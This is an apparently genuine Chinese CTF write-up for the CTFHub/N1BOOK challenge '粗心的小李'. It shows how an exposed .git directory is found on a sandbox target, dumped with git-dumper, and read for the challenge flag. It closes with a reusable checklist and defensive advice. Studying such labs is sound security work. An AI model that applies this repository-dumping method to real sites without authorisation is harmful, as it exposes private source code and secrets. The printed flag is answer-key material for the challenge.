Writeup 4 N1BOOK 第一章 Web 入门 · 粗心的小李
0. 写在前面:这道题在考什么
这道题的名字「粗心的小李」加上分类「举足轻重的信息搜集」,指向性非常明确:
有人把不该暴露的东西留在了线上环境。
首页源码更是直接把答案写在脸上:
"如果配置不当,可能会将
.git文件夹直接部署到线上环境。这就引起了 git 泄露漏洞。""小李好像不是很小心,经过了几次迭代更新就直接把整个文件夹放到线上环境了 😦"
所以这不是一道漏洞利用题,而是一道信息搜集题。核心思路只有一句:
从 Web 层面,找出开发者"粗心"留下的敏感文件。
而这道题留下的,就是 .git/ 目录。
1. 起点:读首页,拿到提示
打开靶机首页,看源码。除了页面本身的文案,最重要的是这两句:
- 明确提到 git 泄露漏洞
- 明确说 整个文件夹放到了线上
这等于告诉你:去访问 /.git/。
复盘:为什么先看首页源码
信息搜集类题目,第一手线索永远在首页:
- HTML 注释
- 页面文案
JS文件- 引用的资源路径
很多时候出题人会把提示直接写在源码里,不用猜。
2. 第一个坑:/.git/ 返回 403
直接访问:
http
http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/
返回:
Forbidden
You don't have permission to access /.git/ on this server.
Apache/2.4.25 (Debian) Server at challenge-f2b1cebe23a310e9.sandbox.ctfhub.com Port 10800
看起来像是 .git 被 ban 了。
复盘:这里的思维转折
目录禁止访问 ≠ 文件禁止访问。
Apache 的 Options -Indexes 只是禁止列目录 ,不代表目录里的具体文件不能被请求。
这是这类题很常见的一道坎:目录禁止访问 ≠ 文件禁止访问。
先验证 .git 里的具体文件能不能读;
所以不要访问 /.git/,而是访问具体文件:
http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/HEAD
返回:
ref: refs/heads/master
说明文件本身可读,只是目录列表被禁。
漏洞确认:.git 目录暴露,只是不能列目录,文件可以按路径精准请求。
复盘:这个坑很典型
很多人看到 403 就以为没戏了,其实只是访问方式不对。遇到 403,先问自己:
- 是目录被禁,还是整个路径被禁?
- 换成具体文件能不能读?
- 大小写、编码、路径规范化能不能绕过?
3. 确认可还原:读 .git/config 和 .git/index
3.1 .git/config
访问:
http
http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/config
返回:
ini
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
正常配置,进一步确认 .git 可用。
3.2 .git/index
访问:
http
http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/index
浏览器自动下载了一个叫 index 的文件,打开之后,是乱码:
DIRC ]?8?m]?;> 厚? 仱 ? \
蒂k\蓌PU罧纠绛魜Q
index.html TREE 1 0
鬿耗????亓黔廦+瓅sx? 搶
)q??
复盘:为什么 index 是乱码
.git/index 是 Git 的二进制索引文件,本来就不是给人读的,乱码是正常的。
看到它,只说明一件事:这个文件也能被下载。不用试图理解它的内容,交给工具处理就行了。
这两个结果都说明:.git 目录确实暴露,文件能正常下载。
/.git/config返回正常配置/.git/index下载下来是二进制乱码 ------ 这是正常的 ,index本来就是 Git 的二进制索引文件,不用管它。
接下来,我们可以放心用工具还原整个仓库了。
4. 还原仓库:git-dumper
复盘:环境隔离的重要性
Ubuntu 上的 Python 通常是 2.7,而现在的工具大多是 Python 3。直接用系统 Python 装工具,很容易踩版本的坑。
正确做法:用虚拟环境隔离。
bash
root@Rambo:/粗心的小李# python3 -m venv venv
root@Rambo:/粗心的小李# source venv/bin/activate
(venv) root@Rambo:/粗心的小李# pip install git-dumper
输出:
bash
Collecting git-dumper
Downloading git_dumper-1.0.9-py3-none-any.whl.metadata (3.1 kB)
Collecting PySocks (from git-dumper)
Using cached PySocks-1.7.1-py3-none-any.whl.metadata (13 kB)
Collecting requests (from git-dumper)
Using cached requests-2.34.2-py3-none-any.whl.metadata (4.8 kB)
Collecting beautifulsoup4 (from git-dumper)
Using cached beautifulsoup4-4.15.0-py3-none-any.whl.metadata (3.8 kB)
Collecting dulwich (from git-dumper)
Downloading dulwich-1.2.17-cp312-cp312-manylinux_2_28_x86_64.whl.metadata (6.0 kB)
Collecting requests-pkcs12 (from git-dumper)
Downloading requests_pkcs12-1.27-py3-none-any.whl.metadata (3.8 kB)
Collecting soupsieve>=1.6.1 (from beautifulsoup4->git-dumper)
Downloading soupsieve-2.10-py3-none-any.whl.metadata (4.4 kB)
Collecting typing-extensions>=4.0.0 (from beautifulsoup4->git-dumper)
Using cached typing_extensions-4.16.0-py3-none-any.whl.metadata (3.3 kB)
Collecting urllib3>=2.2.2 (from dulwich->git-dumper)
Using cached urllib3-2.8.0-py3-none-any.whl.metadata (7.4 kB)
Collecting charset_normalizer<4,>=2 (from requests->git-dumper)
Using cached charset_normalizer-3.5.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (46 kB)
Collecting idna<4,>=2.5 (from requests->git-dumper)
Using cached idna-3.20-py3-none-any.whl.metadata (7.2 kB)
Collecting certifi>=2023.5.7 (from requests->git-dumper)
Using cached certifi-2026.7.22-py3-none-any.whl.metadata (2.5 kB)
Collecting cryptography>=42.0.0 (from requests-pkcs12->git-dumper)
Downloading cryptography-50.0.2-cp311-abi3-manylinux_2_34_x86_64.whl.metadata (4.4 kB)
Collecting cffi>=2.0.0 (from cryptography>=42.0.0->requests-pkcs12->git-dumper)
Using cached cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata (2.5 kB)
Collecting pycparser (from cffi>=2.0.0->cryptography>=42.0.0->requests-pkcs12->git-dumper)
Using cached pycparser-3.0-py3-none-any.whl.metadata (8.2 kB)
Downloading git_dumper-1.0.9-py3-none-any.whl (9.5 kB)
Using cached beautifulsoup4-4.15.0-py3-none-any.whl (109 kB)
Downloading dulwich-1.2.17-cp312-cp312-manylinux_2_28_x86_64.whl (1.5 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.5/1.5 MB 4.6 MB/s eta 0:00:00
Using cached PySocks-1.7.1-py3-none-any.whl (16 kB)
Using cached requests-2.34.2-py3-none-any.whl (73 kB)
Downloading requests_pkcs12-1.27-py3-none-any.whl (6.1 kB)
Using cached certifi-2026.7.22-py3-none-any.whl (136 kB)
Using cached charset_normalizer-3.5.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (257 kB)
Downloading cryptography-50.0.2-cp311-abi3-manylinux_2_34_x86_64.whl (4.8 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 4.8/4.8 MB 10.0 MB/s eta 0:00:00
Using cached idna-3.20-py3-none-any.whl (69 kB)
Downloading soupsieve-2.10-py3-none-any.whl (38 kB)
Using cached typing_extensions-4.16.0-py3-none-any.whl (45 kB)
Using cached urllib3-2.8.0-py3-none-any.whl (135 kB)
Using cached cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (221 kB)
Using cached pycparser-3.0-py3-none-any.whl (48 kB)
Installing collected packages: urllib3, typing-extensions, soupsieve, PySocks, pycparser, idna, charset_normalizer, certifi, requests, dulwich, cffi, beautifulsoup4, cryptography, requests-pkcs12, git-dumper
Successfully installed PySocks-1.7.1 beautifulsoup4-4.15.0 certifi-2026.7.22 cffi-2.1.1 charset_normalizer-3.5.2 cryptography-50.0.2 dulwich-1.2.17 git-dumper-1.0.9 idna-3.20 pycparser-3.0 requests-2.34.2 requests-pkcs12-1.27 soupsieve-2.10 typing-extensions-4.16.0 urllib3-2.8.0
(venv) root@Rambo:/mnt/h/ctf/CTF_Challenge_Repository/CTFHub/Web/粗心的小李#
4.2 还原
bash
(venv) root@Rambo:/粗心的小李# git-dumper http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/ ./output
输出:
[-] Testing http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/HEAD [200]
[-] Testing http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/ [403]
[-] Fetching common files
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/COMMIT_EDITMSG [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/description [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/commit-msg.sample [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.gitignore [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.gitignore responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/post-commit.sample [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/post-receive.sample [404]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/post-update.sample [200]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/pre-commit.sample [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/pre-receive.sample [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/index [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/info/exclude [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/pre-push.sample [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/objects/info/packs [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/objects/info/packs responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/hooks/update.sample [200]
[-] Finding refs/
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/HEAD [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/info/refs [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/info/refs responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/HEAD [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/heads/staging [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/heads/staging responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/ORIG_HEAD [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/ORIG_HEAD responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/heads/master [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/heads/production [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/heads/production responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/config [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/heads/main [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/heads/main responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/FETCH_HEAD [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/heads/development [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/heads/development responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/main [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/main responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/master [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/staging [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/staging responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/production [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/production responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/development [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/development responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/stash [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/logs/refs/stash responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/heads/main [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/heads/main responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/packed-refs [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/packed-refs responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/heads/master [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/heads/staging [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/heads/staging responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/heads/production [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/heads/production responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/heads/development [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/heads/development responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/main [404]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/HEAD [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/HEAD responded with status code 404
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/main responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/master [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/staging [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/staging responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/production [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/production responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/development [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/development responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/stash [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/stash responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/main [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/main responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/staging [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/staging responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/master [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/development [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/development responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/production [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/production responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/staging [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/staging responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/main [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/main responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/master [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/production [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/production responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/development [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/development responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/objects/1e/0db5d96b5cc9785055c14bbec0e7ad14f48151 [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/objects/21/3b7e386e9b0b406d91fae58bf8be11a58c3f88 [200]
[-] Fetching http://challenge-f2b1cebe23a310e9.sandbox.ctfhub.com:10800/.git/objects/f4/6fbac4149604ca13a765950f9a2d1fd8c1c7ad [200]
[-] Running git checkout .
(venv) root@Rambo:/粗心的小李#
跑完后,./output 里就是完整仓库。
复盘:git-dumper 做了什么
- 读
/.git/HEAD、/.git/config - 解析出所有需要的对象文件路径
- 逐个下载
- 在本地组装成完整 Git 仓库
它的价值在于:把"按路径精准请求文件"这件事自动化了 。手动一个个下 .git/objects/xx/yyyy... 也能做,但太累。
5. 找 flag:一条 commit 直接给答案
5.1 看提交历史
bash
(venv) root@Rambo:/粗心的小李/output# git log --oneline --all
输出:
bash
213b7e3 (HEAD -> master) flag
(venv) root@Rambo:/粗心的小李/output#
只有一条 commit,message 就是 flag。
5.2 看这次提交改了什么
bash
(venv) root@Rambo:/粗心的小李/output# git show 213b7e3
diff 里直接出现了:
html
(venv) root@Rambo:/粗心的小李/output# git show 213b7e3
commit 213b7e386e9b0b406d91fae58bf8be11a58c3f88 (HEAD -> master)
Author: Veneno <593220746@qq.com>
Date: Wed Dec 4 11:04:14 2019 +0800
flag
diff --git a/index.html b/index.html
new file mode 100644
index 0000000..1e0db5d
--- /dev/null
+++ b/index.html
@@ -0,0 +1,61 @@
+<!DOCTYPE html>
+<!-- saved from url=(0031)https://bootswatch.com/sketchy/ -->
+<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+
+ <title>Git测试</title>
+ <meta name="viewport" content="width=device-width, initial-scale=1">
+ <meta http-equiv="X-UA-Compatible" content="IE=edge">
+ <link rel="stylesheet" href="./Bootswatch_ Sketchy_files/bootstrap.css" media="screen">
+ <link rel="stylesheet" href="./Bootswatch_ Sketchy_files/custom.min.css">
+ <script type="text/javascript" async="" src="./Bootswatch_ Sketchy_files/ga.js"></script><script>
+
+ var _gaq = _gaq || [];
+ _gaq.push(['_setAccount', 'UA-23019901-1']);
+ _gaq.push(['_setDomainName', "bootswatch.com"]);
+ _gaq.push(['_setAllowLinker', true]);
+ _gaq.push(['_trackPageview']);
+
+ (function() {
+ var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
+ ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
+ var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
+ })();
+
+ </script>
+
+ <body>
+
+
+ <div class="container">
+
+ <!-- Containers
+ ================================================== -->
+
+
+ <div class="row">
+ <div class="col-lg-12">
+ <div class="page-header">
+ <h1 id="containers">Git测试</h1>
+ </div>
+ <div class="bs-component">
+ <div class="jumbotron">
+ <h1 class="display-3">Hello, CTFer!</h1>
+ <p class="lead">当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。</p>
+ <hr class="my-4">
+ <p>小李好像不是很小心,经过了几次迭代更新就直接就把整个文件夹放到线上环境了:(</p>
+ <p>n1book{git_looks_s0_easyfun}</p>
+ </div>
+ </div>
+
+
+
+ </div>
+
+
+ <script src="./Bootswatch_ Sketchy_files/jquery.min.js"></script>
+ <script src="./Bootswatch_ Sketchy_files/popper.min.js"></script>
+ <script src="./Bootswatch_ Sketchy_files/bootstrap.min.js"></script>
+ <script src="./Bootswatch_ Sketchy_files/custom.js"></script>
+
+
+</body></html>
\ No newline at end of file
(venv) root@Rambo:/粗心的小李/output#
flag:
n1book{git_looks_s0_easyfun}
5.3 第二个坑:输出停在 (END)
第一次跑 git show,输出停在 (END),以为被截断了。
复盘:那是 pager,不是截断
git show 默认用 less 分页显示。看到 (END),意思是:
- 内容已经全部显示完了
less在等你按键
按 q 退出即可。或者用:
bash
(venv) root@Rambo:/粗心的小李/output# git --no-pager show 213b7e3
一次性全部打印。
这是新手很常见的误判:以为输出没显示完,其实是分页器在等操作。
6. 完整攻击链回顾
首页源码提示 .git 泄露
↓
访问 /.git/ → 403(目录被禁)
↓
改用 /.git/HEAD → ref: refs/heads/master(文件可读)
↓
git-dumper 还原仓库(注意 Python 版本)
↓
git log --oneline --all → 一条 commit: "flag"
↓
git show 213b7e3 → index.html 里直接有 flag
7. 知识点总结
| 知识点 | 说明 |
|---|---|
| Git 泄露 | .git/ 被部署到线上,可被还原源码 |
| 目录禁 ≠ 文件禁 | 403 只针对目录列表,具体文件仍可请求 |
.git/HEAD |
泄露入口,返回 ref: refs/heads/master |
.git/index |
二进制索引文件,乱码正常 |
| git-dumper | Python3 工具,自动还原 .git 仓库 |
| 虚拟环境 | 隔离 Python 版本,避免 2.7 / 3.x 冲突 |
git log --all |
查看所有提交 |
git show |
查看某次提交的具体改动 |
| pager | git show 默认用 less,(END) 是等按键,按 q 退出 |
8. 如果换一道同类题:可复用 checklist
遇到 Git 泄露题,按这个顺序走:
/.git/HEAD→ 确认泄露.git/config、.git/index→ 确认文件可读git-dumper/GitHack→ 还原仓库git log --oneline --all→ 看所有提交git show <hash>/git log -p→ 看具体改动- 没有 →
git fsck --lost-found→ 找悬空对象 - 再没有 →
git show-ref、git stash list、.git/logs/HEAD→ 兜底 - flag 可能在:最新 commit / 历史 commit / 被删的 blob / 其他分支 / stash
9. 防御建议
- 不要部署
.git到线上 :部署时排除.git、.svn、.hg等版本控制目录 - Web 服务器禁止访问敏感目录 :
Apache/Nginx配置规则拦截.git - 部署前检查:CI/CD 流程里加一步,扫描并剔除敏感文件
- 权限最小化:Web 目录不应包含源码、密钥、配置等敏感文件
10. 最后一句复盘
这道题最值得记住的不是 payload,而是两个"看似没戏、其实有戏"的转折点:
.git/403,但.git/HEAD可读;git show停在(END),其实已经显示完了。信息搜集题里,很多"卡住"只是访问方式或认知的问题,不是真的走不通。
Rambo
2026年10月08日
🎉🎉🎉